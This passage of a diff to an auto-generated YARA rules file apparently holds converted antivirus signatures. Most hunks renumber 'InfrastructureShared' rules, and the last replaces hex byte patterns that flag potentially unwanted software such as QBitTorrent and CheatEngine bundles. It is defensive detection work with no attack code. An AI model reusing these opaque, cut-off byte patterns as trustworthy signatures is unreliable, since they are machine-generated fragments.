((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_698{ +rule _InfrastructureShared_701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7630,7 +7683,7 @@ rule _InfrastructureShared_698{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_699{ +rule _InfrastructureShared_702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7640,7 +7693,7 @@ rule _InfrastructureShared_699{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_700{ +rule _InfrastructureShared_703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7650,7 +7703,7 @@ rule _InfrastructureShared_700{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_701{ +rule _InfrastructureShared_704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7660,7 +7713,7 @@ rule _InfrastructureShared_701{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_702{ +rule _InfrastructureShared_705{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7670,7 +7723,7 @@ rule _InfrastructureShared_702{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_703{ +rule _InfrastructureShared_706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7680,7 +7733,7 @@ rule _InfrastructureShared_703{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_704{ +rule _InfrastructureShared_707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7690,7 +7743,7 @@ rule _InfrastructureShared_704{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_705{ +rule _InfrastructureShared_708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7700,7 +7753,7 @@ rule _InfrastructureShared_705{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_706{ +rule _InfrastructureShared_709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7710,7 +7763,7 @@ rule _InfrastructureShared_706{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_707{ +rule _InfrastructureShared_710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7720,7 +7773,7 @@ rule _InfrastructureShared_707{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_708{ +rule _InfrastructureShared_711{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7730,7 +7783,7 @@ rule _InfrastructureShared_708{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_709{ +rule _InfrastructureShared_712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7740,7 +7793,7 @@ rule _InfrastructureShared_709{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_710{ +rule _InfrastructureShared_713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7750,7 +7803,7 @@ rule _InfrastructureShared_710{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_711{ +rule _InfrastructureShared_714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7760,7 +7813,7 @@ rule _InfrastructureShared_711{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_712{ +rule _InfrastructureShared_715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7770,7 +7823,7 @@ rule _InfrastructureShared_712{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_713{ +rule _InfrastructureShared_716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7780,7 +7833,7 @@ rule _InfrastructureShared_713{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_714{ +rule _InfrastructureShared_717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7790,7 +7843,7 @@ rule _InfrastructureShared_714{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_715{ +rule _InfrastructureShared_718{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7800,7 +7853,7 @@ rule _InfrastructureShared_715{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_716{ +rule _InfrastructureShared_719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7810,7 +7863,7 @@ rule _InfrastructureShared_716{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_717{ +rule _InfrastructureShared_720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7820,7 +7873,7 @@ rule _InfrastructureShared_717{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_718{ +rule _InfrastructureShared_721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7830,7 +7883,7 @@ rule _InfrastructureShared_718{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_719{ +rule _InfrastructureShared_722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7840,7 +7893,7 @@ rule _InfrastructureShared_719{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_720{ +rule _InfrastructureShared_723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7850,7 +7903,7 @@ rule _InfrastructureShared_720{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_721{ +rule _InfrastructureShared_724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7860,7 +7913,7 @@ rule _InfrastructureShared_721{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_722{ +rule _InfrastructureShared_725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7870,7 +7923,7 @@ rule _InfrastructureShared_722{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_723{ +rule _InfrastructureShared_726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -7881,7 +7934,7 @@ rule _InfrastructureShared_723{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*1) >=2 } -rule _InfrastructureShared_724{ +rule _InfrastructureShared_727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7891,7 +7944,7 @@ rule _InfrastructureShared_724{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_725{ +rule _InfrastructureShared_728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7901,7 +7954,7 @@ rule _InfrastructureShared_725{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_726{ +rule _InfrastructureShared_729{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7911,7 +7964,7 @@ rule _InfrastructureShared_726{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_727{ +rule _InfrastructureShared_730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7921,7 +7974,7 @@ rule _InfrastructureShared_727{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_728{ +rule _InfrastructureShared_731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7931,7 +7984,7 @@ rule _InfrastructureShared_728{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_729{ +rule _InfrastructureShared_732{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7941,7 +7994,7 @@ rule _InfrastructureShared_729{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_730{ +rule _InfrastructureShared_733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7951,7 +8004,7 @@ rule _InfrastructureShared_730{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_731{ +rule _InfrastructureShared_734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -7964,7 +8017,7 @@ rule _InfrastructureShared_731{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*384+(#a_6b_2 & 1)*27905+(#a_49_3 & 1)*-32745) >=11 } -rule _InfrastructureShared_732{ +rule _InfrastructureShared_735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 04 00 21 " @@ -7977,7 +8030,7 @@ rule _InfrastructureShared_732{ ((#a_46_0 & 1)*21283+(#a_69_1 & 1)*29797+(#a_73_2 & 1)*28239+(#a_00_3 & 1)*25965) >=40 } -rule _InfrastructureShared_733{ +rule _InfrastructureShared_736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,65 00 65 00 03 00 21 " @@ -7989,7 +8042,7 @@ rule _InfrastructureShared_733{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*29797+(#a_65_2 & 1)*24932) >=101 } -rule _InfrastructureShared_734{ +rule _InfrastructureShared_737{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -8001,7 +8054,7 @@ rule _InfrastructureShared_734{ ((#a_54_0 & 1)*18467+(#a_57_1 & 1)*29285+(#a_41_2 & 1)*18758) >=3 } -rule _InfrastructureShared_735{ +rule _InfrastructureShared_738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -8012,7 +8065,7 @@ rule _InfrastructureShared_735{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*17748) >=2 } -rule _InfrastructureShared_736{ +rule _InfrastructureShared_739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -8024,7 +8077,7 @@ rule _InfrastructureShared_736{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28271+(#a_79_2 & 1)*16740) >=3 } -rule _InfrastructureShared_737{ +rule _InfrastructureShared_740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -8036,7 +8089,7 @@ rule _InfrastructureShared_737{ ((#a_4c_0 & 1)*21539+(#a_79_2 & 1)*385+(#a_74_3 & 1)*24419) >=4 } -rule _InfrastructureShared_738{ +rule _InfrastructureShared_741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -8048,7 +8101,7 @@ rule _InfrastructureShared_738{ ((#a_4c_0 & 1)*21539+(#a_49_1 & 1)*28532+(#a_69_3 & 1)*22273) >=4 } -rule _InfrastructureShared_739{ +rule _InfrastructureShared_742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -8063,7 +8116,7 @@ rule _InfrastructureShared_739{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*22017+(#a_00_2 & 1)*29793+(#a_65_3 & 1)*30575+(#a_00_4 & 1)*111+(#a_2f_5 & 1)*13166) >=6 } -rule _InfrastructureShared_740{ +rule _InfrastructureShared_743{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 01 01 01 07 00 21 " @@ -8077,7 +8130,7 @@ rule _InfrastructureShared_740{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*29271+(#a_65_2 & 1)*27747+(#a_00_4 & 1)*32+(#a_64_5 & 1)*28530) >=257 } -rule _InfrastructureShared_741{ +rule _InfrastructureShared_744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -8089,7 +8142,7 @@ rule _InfrastructureShared_741{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*101+(#a_41_2 & 1)*29285) >=2 } -rule _InfrastructureShared_742{ +rule _InfrastructureShared_745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -8102,7 +8155,7 @@ rule _InfrastructureShared_742{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*114+(#a_52_3 & 1)*19525+(#a_6d_4 & 1)*16745) >=3 } -rule _InfrastructureShared_743{ +rule _InfrastructureShared_746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -8115,7 +8168,7 @@ rule _InfrastructureShared_743{ ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*384+(#a_00_3 & 1)*76+(#a_5c_5 & 1)*9216) >=2 } -rule _InfrastructureShared_744{ +rule _InfrastructureShared_747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 01 01 01 11 00 21 " @@ -8139,7 +8192,7 @@ rule _InfrastructureShared_744{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*115+(#a_6d_2 & 1)*28229+(#a_6e_3 & 1)*22372+(#a_01_4 & 1)*18803+(#a_63_5 & 1)*31059+(#a_63_6 & 1)*290+(#a_72_7 & 1)*25966+(#a_64_8 & 1)*29296+(#a_6f_9 & 1)*21295+(#a_42_10 & 1)*27753+(#a_61_11 & 1)*11846+(#a_65_12 & 1)*27759+(#a_55_13 & 1)*25705+(#a_74_14 & 1)*29811) >=257 } -rule _InfrastructureShared_745{ +rule _InfrastructureShared_748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0d 00 21 " @@ -8159,7 +8212,7 @@ rule _InfrastructureShared_745{ ((#a_5f_0 & 1)*16931+(#a_69_1 & 1)*274+(#a_6f_2 & 1)*29281+(#a_61_3 & 1)*28271+(#a_65_4 & 1)*26994+(#a_75_5 & 1)*-28630+(#a_45_6 & 1)*8993+(#a_54_7 & 1)*17235+(#a_54_8 & 1)*26723+(#a_6f_9 & 1)*24948+(#a_73_12 & 1)*29812) >=4 } -rule _InfrastructureShared_746{ +rule _InfrastructureShared_749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -8172,7 +8225,7 @@ rule _InfrastructureShared_746{ ((#a_41_0 & 1)*20515+(#a_64_1 & 1)*9504+(#a_69_2 & 1)*30061+(#a_00_3 & 1)*102) >=3 } -rule _InfrastructureShared_747{ +rule _InfrastructureShared_750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -8185,7 +8238,7 @@ rule _InfrastructureShared_747{ ((#a_41_0 & 1)*20515+(#a_6e_1 & 1)*8291+(#a_21_2 & 1)*20014+(#a_00_3 & 1)*26990) >=3 } -rule _InfrastructureShared_748{ +rule _InfrastructureShared_751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -8198,7 +8251,7 @@ rule _InfrastructureShared_748{ ((#a_46_0 & 1)*16675+(#a_ff_1 & 1)*144+(#a_02_2 & 1)*28018+(#a_63_3 & 1)*24946) >=1 } -rule _InfrastructureShared_749{ +rule _InfrastructureShared_752{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 06 00 21 " @@ -8213,7 +8266,7 @@ rule _InfrastructureShared_749{ ((#a_4c_0 & 1)*21539+(#a_73_1 & 1)*26990+(#a_6e_2 & 1)*30821+(#a_52_3 & 1)*28784+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1) >=10 } -rule _InfrastructureShared_750{ +rule _InfrastructureShared_753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0c 00 21 " @@ -8233,7 +8286,7 @@ rule _InfrastructureShared_750{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*25449+(#a_01_2 & 1)*3584+(#a_01_4 & 1)*4352+(#a_69_5 & 1)*29550+(#a_68_6 & 1)*28277+(#a_ff_7 & 1)*25976+(#a_4d_8 & 1)*-32746+(#a_70_9 & 1)*27745+(#a_6f_10 & 1)*28233+(#a_73_11 & 1)*29555) >=1 } -rule _InfrastructureShared_751{ +rule _InfrastructureShared_754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0d 00 21 " @@ -8254,7 +8307,7 @@ rule _InfrastructureShared_751{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*28516+(#a_65_2 & 1)*29810+(#a_30_3 & 1)*13148+(#a_69_4 & 1)*23667+(#a_55_5 & 1)*14924+(#a_69_7 & 1)*20225+(#a_69_8 & 1)*26478+(#a_65_9 & 1)*30068+(#a_66_10 & 1)*16988+(#a_65_11 & 1)*28515+(#a_3a_12 & 1)*21840) >=1 } -rule _InfrastructureShared_752{ +rule _InfrastructureShared_755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 13 00 21 " @@ -8266,22 +8319,22 @@ rule _InfrastructureShared_752{ $a_73_4 = {61 6e 74 5c 54 61 6f 53 68 6f 70 41 73 73 69 73 74 61 6e 74 2e 69 6e 69 01 00 19 80 01 53 6b 79 50 69 63 74 75 72 65 5c 53 6b 79 50 69 63 49 6e 66 6f 2e 69 6e 69 01 00 0d 80 01 43 3a 5c 42 65 66 6f 72 65 2e 69 6e 69 01 00 0f 80 01 43 3a 5c 4d 73 64 67 71 62 64 62 2e 69 6e 69 01 00 10 80 01 43 3a 5c 4d 75 6f 74 65 } //29555 $a_65_5 = {69 6e 69 01 00 15 00 57 61 6e 4e 65 6e 67 57 42 5c 57 42 55 70 64 33 32 2e 70 64 62 01 00 21 00 6b 70 64 66 63 6f 72 65 5c 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 6b 70 64 66 63 6f 72 65 2e 70 64 62 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 00 00 7e 2d 00 00 67 b0 d3 60 f5 5b } //26994 $a_bd_6 = {90 bc 2c 2c 82 a1 bd 2a 6e cb 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 51 42 69 74 54 6f 72 72 65 6e 74 00 7e 2d 00 00 83 3b 0e 75 b0 8a 58 fa cc f5 c1 e8 7b 01 ca 3d 26 48 41 1e d3 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 43 68 65 61 74 45 6e 67 69 6e 65 00 7e 2e 00 00 01 46 38 dc 06 c9 08 b2 d8 4a e6 73 9c ff f2 3e 44 22 a2 23 dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 08 50 59 f3 16 77 ea 36 d2 4f a5 be b6 b8 34 bb 84 6b 01 a8 de 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 63 00 7e 2e 00 00 09 7a 7b 98 60 4a a3 7e f6 6b ac a3 fe fd f5 a9 8e fb bf 73 de 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 63 00 7e 2e 00 00 0b 7a 81 45 aa 56 a0 cb a1 ce 9d 2b 36 6b fa } //32658 - $a_9d_7 = {de 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 63 00 7e 2e 00 00 0d 29 5c 83 24 7e 11 68 c1 b1 8b 0b 19 93 62 c5 0d a5 5a 3d dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 0e c0 3b 81 62 e5 d9 ed 60 6d 4d 11 14 d0 f6 26 1a 54 3e be dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 13 32 3e a3 03 00 f5 42 16 d2 97 25 99 0e df 5a a7 fa 1c db dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 14 2a 4e 35 92 fc 88 2c 9b 46 95 cf c1 e8 cb 58 a2 03 36 5c de 21 23 41 } //-4237 - $a_4e_8 = {50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 63 00 7e 2e 00 00 14 7b fd 90 2a 8e 39 0d d7 ce da 1a c0 18 4c 0d 46 a7 46 5e de 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b } //17996 - $a_78_9 = {72 68 63 00 7e 2e 00 00 14 b9 21 f8 00 1c 95 fe 9e ed 86 82 da ec 9b 30 37 5d 47 38 dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 17 75 91 0f 0a 3f 00 cd 2c 5d 71 34 3a 39 ab d8 97 65 63 13 dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 } //16741 - $a_81_11 = {e0 92 4c a1 e9 61 53 0c 3d 83 d6 dc 8c d5 5c 35 95 de 21 23 41 4c 46 } //0 - $a_50_12 = {61 2e 53 70 69 6b 65 41 65 78 2e 72 68 63 00 7e 2e 00 00 17 8b 71 62 e3 8b 60 8f 33 12 b6 cc f7 55 15 61 a7 89 0b e4 dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 18 83 7b 76 04 b0 e3 0d 41 61 ea 5c 47 ef 07 c7 71 57 } //20026 - $a_21_13 = {41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 1c 8d da 96 40 71 90 54 63 fe 6c 88 ac 69 7a d6 ee 15 38 e6 de 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 63 00 7e 2e 00 00 1d 0b 47 c2 32 8d 42 b2 67 51 89 23 ee 78 23 fc 50 8e 9a cd de 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 63 00 7e 2e 00 00 21 e6 36 7f d0 0f c0 72 26 09 ef af 36 63 7a bc 72 5a 20 c3 dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 24 44 7d 4b 72 99 c4 05 82 ee 16 1e 73 b5 ce bc 5f 24 fd da dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 } //-9445 - $a_2e_14 = {00 24 69 4e 78 64 03 d7 39 bd 5d fc 27 f9 e6 4e 52 91 8c fe 63 dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 24 8d 9a cd f9 51 8b 81 53 f8 ad aa 69 bc b7 78 93 1e 37 26 dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 26 52 2d 55 10 cb 16 c6 8b 49 6c 60 ae ed 55 5a 13 74 99 23 de 21 23 41 4c } //114 - $a_57_15 = {75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 63 00 7e 2e 00 00 29 c8 01 15 d6 4e 48 79 5d 48 5b d7 77 e0 37 46 f4 41 2d 7f de 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 63 00 7e 2e 00 00 29 fa 74 b5 c1 48 fe ca } //14918 - $a_fd_16 = {e2 83 05 69 f1 2a 52 dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 2c cc 1a 74 6e ff b5 3f c5 b6 53 98 2f af 66 bc d3 82 14 c8 dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 2e 47 46 62 25 b2 4e 64 db 13 31 70 5e d8 d9 12 ac 5c c3 1c dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 2e d5 26 3c b5 66 af a4 10 97 38 ce ec 33 ad f2 f1 16 d7 ca de 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 63 00 7e 2e 00 00 2f 7f 45 4a 7b b7 32 10 5a b0 cb 39 eb 98 b5 35 3d 35 bf 5d de 21 23 41 4c } //-11693 - $a_57_17 = {75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 63 00 7e 2e 00 00 31 6f 29 5d 05 2e de 71 e1 bb b2 70 16 02 31 04 36 22 09 bb dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 31 b7 06 c4 73 33 84 e1 } //14918 - $a_b8_18 = {aa 7e 98 1d 26 e5 71 de 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 63 00 7e 2e 00 00 32 9a 01 dd e0 44 bc c6 4a cf 69 3b e1 d8 4c 84 95 58 c5 06 dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 36 9b 80 5f e1 2f 4f 01 b0 91 6b 59 09 d6 0b 36 41 a5 56 24 dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 36 a8 ab 2b 8b 02 0e 00 94 58 7d ac 8f 71 42 d0 3a ce 42 46 de 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 63 00 7e 2e 00 00 38 86 24 c1 33 8d 58 3d 70 69 de e9 2e 53 } //-1554 + $a_9d_7 = {de 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 63 00 7e 2e 00 00 0d 29 5c 83 24 7e 11 68 c1 b1 8b 0b 19 93 62 c5 0d a5 5a 3d dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 13 32 3e a3 03 00 f5 42 16 d2 97 25 99 0e df 5a a7 fa 1c db dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 14 2a 4e 35 92 fc 88 2c 9b 46 95 cf c1 e8 cb 58 a2 03 36 5c de 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 63 00 7e 2e 00 00 14 b9 21 f8 00 1c 95 fe 9e ed 86 82 da ec 9b 30 37 5d 47 38 dd 21 23 41 } //-4237 + $a_4e_8 = {50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 17 75 91 0f 0a 3f 00 cd 2c 5d 71 34 3a 39 ab d8 97 65 63 13 dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b } //17996 + $a_78_9 = {72 68 72 00 7e 2e 00 00 17 81 0c e0 92 4c a1 e9 61 53 0c 3d 83 d6 dc 8c d5 5c 35 95 de 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 63 00 7e 2e 00 00 17 8b 71 62 e3 8b 60 8f 33 12 b6 cc f7 55 15 61 a7 89 0b e4 dd 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 } //16741 + $a_83_11 = {76 04 b0 e3 0d 41 61 ea 5c 47 ef 07 c7 71 57 1b db dd 21 23 41 4c 46 3a } //0 + $a_75_12 = {2e 53 70 69 6b 65 41 65 78 2e 72 68 72 00 7e 2e 00 00 1c 8d da 96 40 71 90 54 63 fe 6c 88 ac 69 7a d6 ee 15 38 e6 de 21 23 41 4c 46 3a 4e 57 50 75 61 2e 53 70 69 6b 65 41 65 78 2e 72 68 63 00 7e 2e 00 00 1d 0b 47 c2 